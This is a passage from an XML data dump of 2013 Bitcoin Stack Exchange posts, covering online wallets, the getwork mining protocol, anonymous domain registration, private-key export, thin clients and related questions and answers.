words, you would need log_10000(2^100) words to achieve 100 bits of security, or &lt;a href=&quot;http://www.wolframalpha.com/input/?i=log_10000%282%5E100%29&quot; rel=&quot;nofollow&quot;&gt;about 7.5&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So using 8 words should be enough to secure your coins for a couple decades at least (assuming the current rate of computational speed growth). However, once the quantum computers enter the picture and become powerful enough, all guesses made now can be tossed out.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-07T10:22:32.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6047" PostTypeId="1" CreationDate="2013-01-07T13:11:53.603" Score="1" ViewCount="5838" Body="&lt;p&gt;I have read the FAQ. I like the idea it's only  a link, I don't need it to be more complicated than necessary. For me it doesn't matter to store a generated difficult password for an account or only a link. But this way the login process is easier and the developer seems to be working on some pretty innovative features which is cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it all boils down with all these online wallets is how much you trust the people behind them, right? Of course, you don't store on them big money but it's a convenient way to spend some BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One good question is who is behind Instawallet? Financially. It forms a &lt;em&gt;network&lt;/em&gt; with Bitcoin Central, Instawire, Paytunia and Paymium, though the terms and guarantees are different. Instawallet comes with to guarantee but Bitcoin Central is a registered payment processor in France.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it good that Instawallet &quot;launders,&quot; or structures the money in various transaction sizes and through various Bitcoin addresses? Though, I can understand it'b beneficial for some (on the Silk Road market) but it takes up to 24 hours to receive funds which is a drawback. But hey it's free! I mean I don't really understand when the bitcoin network charges a transaction fee and when it isn't. If you can tell me in a newbie friendly way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in what cases Instawallet's &lt;em&gt;green address&lt;/em&gt; is useful? For a simple product purchase in the Bitcoin marketplace you don't need one, right? Your funds can go from various addresses, you just receive a confirmation number from the merchant (just like with an online or offline credit card purchase) and that's what you need besides your funds being sent.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2021-08-13T10:17:40.003" Title="Help me understand Instawallet better to trust it more!" Tags="|wallet|security|e-wallet|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6049" PostTypeId="1" CreationDate="2013-01-07T17:06:21.423" Score="1" ViewCount="466" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2844/how-can-i-change-btc-into-normal-cash&quot;&gt;How can I change BTC into normal cash?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I sold items / goods for bitcoins&#xA;How do I eventually exchange these bitcoins for $ or Euro ?&lt;/p&gt;&#xA;" OwnerUserId="2581" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-01-07T18:10:14.033" Title="How do I echange bitcoins into $ or Euros?" Tags="|exchanges|currencies|" AnswerCount="0" CommentCount="2" ClosedDate="2013-01-08T07:43:48.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="6050" PostTypeId="1" CreationDate="2013-01-07T22:28:38.383" Score="4" ViewCount="797" Body="&lt;p&gt;I am trying to understand the idea behind getwork protocol, by sniffing my communication with a bitminter miner pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously I have read the discussion &lt;a href=&quot;https://bitcointalk.org/index.php?topic=51281.msg611090#msg611090&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but looking at my packets, I think that there are some things which are implemented differently. I can understand that my question can be too vague, because mostly I am expressing my ideas how the protocol works, which can be totally wrong. But please do not be too harsh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to go through the protocol and explain my thoughts, if I am wrong at any point of time, please explain me were I am wrong:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) my client is authorizing on the server by sending post request&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST/HTTP/1.1&#xA;Content-Type:application/json&#xA;Accept:application/json&#xA;X-Mining-Extensions:longpollbcidmidstaterollntime&#xA;X-BCID:somenumber&#xA;X-Mining-Hashrate:my&#xA;Authorization:mySignature&#xA;Content-Length:39&#xA;Host:mint.bitminter.com:8332&#xA;Connection:Keep-Alive&#xA;User-Agent:BitMinter/1.3.0[BitMinter]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far, as I understood the client is just telling what extensions it can support, his hashrate (based on this a server will give him a work to do), his authorization credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few things I can not understand here. What is X-BCID and what prevent client for submitting wrong hashrate? As far as I understood the server can not verify the work of all clients, so he will not be able to spot the wrong hashrate. I understand that most probably I am wrong here, but I just can not understand how is it done&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) after accepting approval for clients credentials it is asking to get work. Sometimes it has a huge string inside the params field. I can not understand what that string represents and why is it appears.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;method&quot;:&quot;getwork&quot;,&#xA;  &quot;params&quot;:[],&#xA;  &quot;id&quot;:1&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) the server is replying with the information that he supports, time after which the replies to the server would be outdated. Here also appears this X-BCID which I can not understand.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK&#xA;X-Stratum:stratum+tcp://eu1.bitminter.com:3333&#xA;X-Long-Polling:/lp&#xA;X-BCID:someNumber&#xA;X-Roll-NTime:expire=7Date:Mon,07Jan201319:52:20GMT&#xA;Server:Outpost/1.1.0 beta1&#xA;Content-Length:374&#xA;Content-Type:application/json;charset=UTF-8&#xA;Connection:Keep-Alive&#xA;Keep-Alive:timeout=895,max=5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) together with the work that client has to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;result&quot;:{&#xA;     &quot;data&quot;:&quot;huge string&quot;,&#xA;     &quot;target&quot;:&quot;smaller string&quot;&#xA;  },&#xA;  &quot;error&quot;:null,&#xA;  &quot;id&quot;:1&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from the above mentioned source, I understood that &lt;em&gt;huge sting&lt;/em&gt; contains the information about the work for client (from which string to which string it has to iterate and calculate hashes) and to compare it to &lt;em&gt;smaller string&lt;/em&gt;. So, if during the calculations I will encounter value, hashes of which will give me a &lt;em&gt;smaller string&lt;/em&gt;, I will finish a block.&#xA;I did not understand why do I have an error field here. What is it testing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, my questions are&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what is X-BCID field in request 1 and 3&lt;/li&gt;&#xA;&lt;li&gt;how the server validates the hashrate, which is submitted by the client in request 1&lt;/li&gt;&#xA;&lt;li&gt;what is the params field in request 2, why sometimes it is empty&lt;/li&gt;&#xA;&lt;li&gt;is my understanding about the request 4 correct, and why do we need 'error' : null, response. Is this just because of the standard of JSON-RPC and it is always null, or there can be reasons when it will be null.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="5406" LastEditDate="2016-03-31T16:28:59.963" LastActivityDate="2016-03-31T16:28:59.963" Title="Is my idea of getwork protocol for bitminer right?" Tags="|protocol|mining-technical-details|getwork|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6051" PostTypeId="1" AcceptedAnswerId="7498" CreationDate="2013-01-08T02:03:14.137" Score="10" ViewCount="49787" Body="&lt;p&gt;I want to setup a pool-server and a client image that gets work from that server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have access for an hour a day to about 40 computers that I can tftp boot, so once I learn how to make, configure, run, and connect to the server then I can make my image.&lt;/p&gt;&#xA;" OwnerUserId="2582" LastEditorUserId="2306" LastEditDate="2013-02-02T11:51:02.833" LastActivityDate="2017-12-04T21:56:36.037" Title="How do I set up a mining pool server?" Tags="|mining-pools|local|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6053" PostTypeId="1" AcceptedAnswerId="7801" CreationDate="2013-01-08T05:40:13.523" Score="7" ViewCount="719" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/MyBitcoin&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/MyBitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much money was lost when it shut down? (You can also edit the wiki page and add this info). Best estimates of course.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="2960" LastEditDate="2013-02-20T05:10:07.460" LastActivityDate="2017-05-25T09:07:26.687" Title="How much Bitcoin was lost in the Jul. 2011 MyBitcoin site shutdown incident?" Tags="|theft|hacking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6054" PostTypeId="2" ParentId="2535" CreationDate="2013-01-08T08:31:41.310" Score="2" Body="&lt;p&gt;One service provider that accepts bitcoins is NoTex.ch @ &lt;a href=&quot;https://notex.ch&quot; rel=&quot;nofollow&quot;&gt;https://notex.ch&lt;/a&gt;: It's a browser based editor, that accepts donations - the donate button has been created using BitPay - or you can buy the full fledged offline version using a customized and &lt;em&gt;very&lt;/em&gt; simple to use checkout process, which has been implemented using Blockchain.info's &lt;a href=&quot;http://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;developer API&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Step 1) Enter your e-mail address, &lt;/li&gt;&#xA;&lt;li&gt;Step 2) Scan the shown QR code for the actual transaction &amp;amp; &lt;/li&gt;&#xA;&lt;li&gt;Step 3) receive the download link (within ca. &lt;em&gt;one&lt;/em&gt; minute!).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Implementation details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One interesting point of the transaction is that it's fully anonymous, that means NoTex.ch does not see from which bitcoin address the money has been sent. This is possible because Blockchain.info offers this great service, which &lt;em&gt;mixes&lt;/em&gt; all coins being transacted to diminish tracing possibilities (more details can be found in Blockchain.info's API section).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another effect of this &lt;em&gt;mixing&lt;/em&gt; is that the customer is &lt;em&gt;not&lt;/em&gt; required to wait 10 minutes for the actual BTC transaction to go through: Given that NoTex.ch trusts Blockchain.info, which sends &lt;em&gt;immediately&lt;/em&gt; a notification upon a transaction to a target address, upon which NoTex.ch sends the corresponding email to the customer. This 3-way communication/transaction is usually done within a minute (if Blockchain.info's mixing bag is sufficiently full).&lt;/p&gt;&#xA;" OwnerUserId="2585" LastActivityDate="2013-01-08T08:31:41.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6055" PostTypeId="1" CreationDate="2013-01-08T11:02:41.393" Score="6" ViewCount="7258" Body="&lt;p&gt;Can anyone recommend a domain registrar which will both accept BTC and allow anonymous registrations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of this list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Domain_Name_and_DNS_Hosting&quot;&gt;https://en.bitcoin.it/wiki/Trade#Domain_Name_and_DNS_Hosting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But was looking for recommendations as much as information.&lt;/p&gt;&#xA;" OwnerUserId="2586" LastActivityDate="2020-05-19T09:39:41.107" Title="Anonymous Domain Registrations" Tags="|domain-registering|" AnswerCount="9" CommentCount="2" ClosedDate="2020-05-19T16:28:33.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="6056" PostTypeId="1" CreationDate="2013-01-08T11:18:33.633" Score="16" ViewCount="5226" Body="&lt;p&gt;I have purchased bitcoins and have downloaded Bitcoin-QT, but my wallet is taking forever to synchronize to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't access my wallet because it is still in the sync process. I have the record of me paying for the Bitcoins, the confirmation email, etc., and the address it has been sent to. &lt;strong&gt;I desperately want to start spending them. What can I do to gain access immediately without waiting for the synchronization to run its course?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2587" LastEditorUserId="5406" LastEditDate="2021-03-26T20:23:05.687" LastActivityDate="2021-03-26T20:23:05.687" Title="Cannot access my bitcoins because my wallet is still synchronising. What can I do to spend them immediately?" Tags="|wallet|network|synchronization|recover-private-key|canonical-question|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6057" PostTypeId="2" ParentId="6055" CreationDate="2013-01-08T11:18:54.440" Score="1" Body="&lt;p&gt;If you are interested in a highly anonymous decentralised domain registration, then the &lt;a href=&quot;http://dot-bit.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Namecoin project&lt;/a&gt; is for you. It allows you to register .bit domains using an alt-coin similar to Bitcoin. However, you should be aware that access to those domains was hard without proper plugins the last time I checked.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-08T11:18:54.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6058" PostTypeId="2" ParentId="6056" CreationDate="2013-01-08T11:53:47.177" Score="8" Body="&lt;p&gt;One solution is to export (in your privacy) the private key connected to the address on which you received your Bitcoins (or simply all private keys). This can be done using a command line tool known as &lt;code&gt;pywallet&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can import this key (or all your keys) into another wallet. Browser-based wallets such as &lt;a href=&quot;https://blockchain.info/wallet&quot;&gt;https://blockchain.info/wallet&lt;/a&gt; do not require syncing. Hence you can immediately spent your coins. For the bĺockchain.info wallet the procedure is described on their website.&lt;/p&gt;&#xA;" OwnerUserId="2588" LastEditorUserId="350" LastEditDate="2013-01-08T19:18:28.490" LastActivityDate="2013-01-08T19:18:28.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6059" PostTypeId="1" AcceptedAnswerId="6061" CreationDate="2013-01-08T15:05:34.687" Score="3" ViewCount="2545" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5564/how-many-transactions-have-been-included-into-the-blockchain&quot;&gt;How many transactions have been included into the blockchain?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;The question explains itself.&lt;/p&gt;&#xA;" OwnerUserId="638" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-01-08T19:17:15.913" Title="What is the total number of Bitcoin transactions processed so far?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ClosedDate="2013-01-08T19:16:26.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="6060" PostTypeId="2" ParentId="6059" CreationDate="2013-01-08T17:50:44.747" Score="2" Body="&lt;p&gt;You can chek this and other statistics in:&#xA;&lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the available data, the simplest way is taking the number of blocks:&#xA;&lt;a href=&quot;http://blockchain.info/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/q/getblockcount&lt;/a&gt;&#xA;and the average number of transactions per block:&#xA;&lt;a href=&quot;http://blockchain.info/q/avgtxnumber&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/q/avgtxnumber&lt;/a&gt;&#xA;and multiply them. As I'm writing I get 215749*238=51348262 transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The daily number of transactions is also online:&#xA;&lt;a href=&quot;http://blockchain.info/charts/n-transactions?showDataPoints=true&amp;amp;timespan=&amp;amp;show_header=true&amp;amp;daysAverageString=1&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/n-transactions?showDataPoints=true&amp;amp;timespan=&amp;amp;show_header=true&amp;amp;daysAverageString=1&amp;amp;scale=0&amp;amp;address=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could write some code to count the transactions directly from you local copy of the blockchain, but if you want a fast figure the links I've written are enough.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2013-01-08T17:50:44.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6061" PostTypeId="2" ParentId="6059" CreationDate="2013-01-08T19:11:41.800" Score="1" Body="&lt;p&gt;According to my blockchain dump there are 10'876'856 transactions with at least 1 confirmation as of block 21'5753. That is excluding double spends and memorypool not yet confirmed.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-08T19:11:41.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6062" PostTypeId="1" AcceptedAnswerId="7134" CreationDate="2013-01-08T20:28:49.053" Score="58" ViewCount="40713" Body="&lt;p&gt;A &lt;em&gt;scalable&lt;/em&gt; quantum computer is a quantum computer that is easy to extend - adding more (q)bits of memory is not a fundamentally hard problem, and will happen. Or, alternatively, that it follows Moore's Law - its memory capacity and speed will increase exponentially over the years with technological advancement (the exponent might be relatively low).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose such a Quantum Computer were constructed tomorrow - what would this mean for bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-09-30T09:32:30.503" LastActivityDate="2017-08-23T04:59:17.640" Title="What effects would a scalable Quantum Computer have on Bitcoin?" Tags="|security|weaknesses|quantum-computing|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6063" PostTypeId="2" ParentId="6031" CreationDate="2013-01-08T20:42:47.037" Score="1" Body="&lt;p&gt;What legal documents to keep?  That's really a question for your accountant and/or attorney. One could reasonably expect to need about the same level of documentation as would be required for an investment in stamps or coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely the exchanges comply with AML (Anti-Money-Laundering) statutes in their own jurisdictions, but the onus is probably on the individual to obtain documentation of all transactions.&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2013-01-08T20:42:47.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6065" PostTypeId="1" CreationDate="2013-01-09T04:16:42.897" Score="11" ViewCount="5091" Body="&lt;p&gt;What does it mean that some Bitcoin clients download the entire block chain (all transactions ever happened) and others not?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="4171" LastEditDate="2013-07-18T17:31:15.167" LastActivityDate="2013-07-18T17:31:15.167" Title="Why must some bitcoin clients download the block chain and others not?" Tags="|blockchain|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6067" PostTypeId="2" ParentId="6065" CreationDate="2013-01-09T07:19:28.310" Score="5" Body="&lt;p&gt;The clients have different security and usability parameters. I won't repeat the information that exists - a few links that will help you understand:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4649/what-is-an-spv-client&quot;&gt;What is an SPV client?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Thin_Client_Security&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's up to the user to choose how paranoid he is, what security assurances he wants, and how exactly he wants the client's usability to behave.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-01-09T07:19:28.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6068" PostTypeId="2" ParentId="6065" CreationDate="2013-01-09T07:48:41.523" Score="14" Body="&lt;p&gt;Security of Bitcoin as a whole depends on the Block Chain being held in full by many people. Currently, the Standard Client does exactly that. However, given enough copies of the Chain, one can assume the system is secure enough from the data being lost and rely on other nodes to provide the information we require when we need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where Thin Clients appear - they only store the information that is useful to them and discard all the excess. Thin Clients usually scan and verify the entire Block Chain on the go to look for any information that is of interest to them during the first synchronisation. They get that data from the Standard Clients operating in the Network, while not providing the same services to other Clients themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next type of Client relies on external servers to store and verify all the data for them and provide it when needed. They only store their Wallet locally and use it to sign transactions created from provided information. The servers supply them with information about their balance, list of unspent transaction and the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last type of Client could be considered an eWallet, where all the information is stored by the server, including one's private keys used to sign transactions. With this you don't need to store any data locally and instead rely fully on third party to secure your money for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, the more data a Client stores, the more independent it is from others. Some Clients sacrifice security for convenience, and there are many levels available for both.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-09T07:48:41.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6069" PostTypeId="2" ParentId="6043" CreationDate="2013-01-09T11:04:32.887" Score="1" Body="&lt;p&gt;You got the answer in the question : the fees are higher on Instawire because it is a service, not an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact is also that (until Bitcoin is legally considered a currency) sales of Bitcoins are subjected to European VAT which instantly adds 19.6% to the price. (If Paymium buys a Bitcoin at 10 EUR, it must sell it at 11.96 EUR to start breaking even).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no legal requirement to do KYC on Instawire as no funds are held on behalf of users, sometimes documents might be requested, but when they are it is for fraud-prevention purposes, not KYC. The 100€ limit is also a fraud-prevention measure.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-01-09T11:04:32.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6070" PostTypeId="2" ParentId="6047" CreationDate="2013-01-09T11:43:32.170" Score="2" Body="&lt;p&gt;Instawallet doesn't support green addresses anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would have required to maintain a fork of the Bitcoin client which is not very practical, and probably not very secure either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instawallet works as a simple shared wallet, it monitors transactions coming in to each wallet's address and adds them to the wallet's ledger as they come in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When transactions are sent from a wallet they are simply sent using the Bitcoin client, which will pick random addresses from the pool of funded addresses, that is why you can't derive the balance of a wallet or track its activity by looking at the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That also makes it an useful privacy-protection tool. (But contrary to what I saw written in a couple places it is absolutely useless to hop through multiple wallets, it doesn't increase anonymity in any way).&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-01-09T11:43:32.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6072" PostTypeId="1" AcceptedAnswerId="6073" CreationDate="2013-01-09T12:58:45.473" Score="5" ViewCount="387" Body="&lt;p&gt;Hybrid wallets and some paper wallet generators create private Bitcoin keys using Javascript inside the browser. Which source of entropy do they use? How do they make sure the PRNG is suitable for long-term security?&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-01-09T13:03:22.480" Title="How do Javascript-based wallets generate random numbers and is this cryptographically secure?" Tags="|security|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6073" PostTypeId="2" ParentId="6072" CreationDate="2013-01-09T13:03:22.480" Score="4" Body="&lt;p&gt;Most modern browsers provide a native crypto api accessible through the window.crypto object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/DOM/window.crypto&quot; rel=&quot;nofollow&quot;&gt;https://developer.mozilla.org/en-US/docs/DOM/window.crypto&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to seed random values using mouse movements and key presses.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2013-01-09T13:03:22.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6074" PostTypeId="1" AcceptedAnswerId="6075" CreationDate="2013-01-09T21:14:20.647" Score="5" ViewCount="376" Body="&lt;p&gt;The bitcointalk.org thread &quot;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=119525.0&quot; rel=&quot;nofollow&quot;&gt;Ultraprune merged in mainline&lt;/a&gt;&quot; implies that a more efficient way of storing block information was introduced. Will this make the &lt;code&gt;.bitcoin&lt;/code&gt; directory smaller after an upgrade to 0.7.2? &lt;/p&gt;&#xA;" OwnerUserId="2146" LastEditorUserId="2146" LastEditDate="2013-01-10T17:23:11.033" LastActivityDate="2013-01-10T17:23:11.033" Title="Does the .bitcoin directory shrink in bitcoin-qt 0.7.2 and later?" Tags="|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6075" PostTypeId="2" ParentId="6074" CreationDate="2013-01-09T21:55:05.667" Score="5" Body="&lt;p&gt;The code referred to by that thread will become 0.8, and is not in any released versions as of January 2012. 0.7.2 is a minor upgrade to 0.7.1 only, with only bug fixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0.8 will indeed use a more efficient storage mechanism, which will most likely result in slightly reduced storage requirements (though you may need to delete the old database manually). The most important improvement, however, should be block validation speed, and the amount of I/O to disk necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, the new database scheme may lead to a version that supports block pruning, where not (all) history blocks are stored on disk anymore without compromising security (it would still require downloading those blocks in full, however). Because of the invasive effects on the network if suddenly many nodes weren't able to serve history anymore, this may need some discussion first, and isn't implemented yet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-01-09T21:55:05.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6077" PostTypeId="1" CreationDate="2013-01-10T04:10:18.780" Score="0" ViewCount="629" Body="&lt;p&gt;What are the advantages/disadvantges of various web frameworks like Django, Ruby on Rails, Flask, etc when it comes to Bitcoin? Are some better at interfacing with the daemon than others? Do some implement security better or have holes that make them inappropriate for bitcoin development? Which is the best? &lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2014-05-25T10:18:20.057" LastActivityDate="2014-05-25T10:18:20.057" Title="Which framework is best for eWallet bitcoin development?" Tags="|bitcoind|development|server|website-integration|" AnswerCount="1" CommentCount="2" ClosedDate="2013-01-25T09:11:40.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="6078" PostTypeId="2" ParentId="6077" CreationDate="2013-01-10T06:09:35.400" Score="3" Body="&lt;p&gt;Bitcoin wallet development usually involves communicating with either bitcoind through HTTP JSON RPC, or otherwise with other Bitcoin Clients through the Bitcoin Protocol over TCP. On top of that, there are the usual requirements of authenticating users, securing data and so forth. All of those security issues are not Bitcoin specific, thus I think this question would be better asked elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-10T06:09:35.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6079" PostTypeId="2" ParentId="6008" CreationDate="2013-01-10T06:12:07.827" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://shop.bitcurex.com/index.php&quot; rel=&quot;nofollow&quot;&gt;Bitcurex offers prepaid cards for Euro, Dollar, Pounds and PLNs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-10T06:12:07.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6080" PostTypeId="1" CreationDate="2013-01-10T08:31:28.120" Score="2" ViewCount="158" Body="&lt;p&gt;I'm wondering if there is a way to create a ranking system similar to #bitcoin-otc, but making it decentralised?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-10T08:44:36.217" Title="Is there a way to create decentralised rating system akin to #bitcoin-otc?" Tags="|decentralization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6081" PostTypeId="2" ParentId="6080" CreationDate="2013-01-10T08:44:36.217" Score="1" Body="&lt;p&gt;Shouldn't be too hard. Let the identities be coupled with a private/public keypair, ratings for one another are signed. As long as you do not blindly trust identities with high ratings but instead go through the web of trust (either you directly trust someone or trust him because he's trusted by some of your trustees) then you should be able to recreate the #bitcoin-otc web of trust faithfully.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-10T08:44:36.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
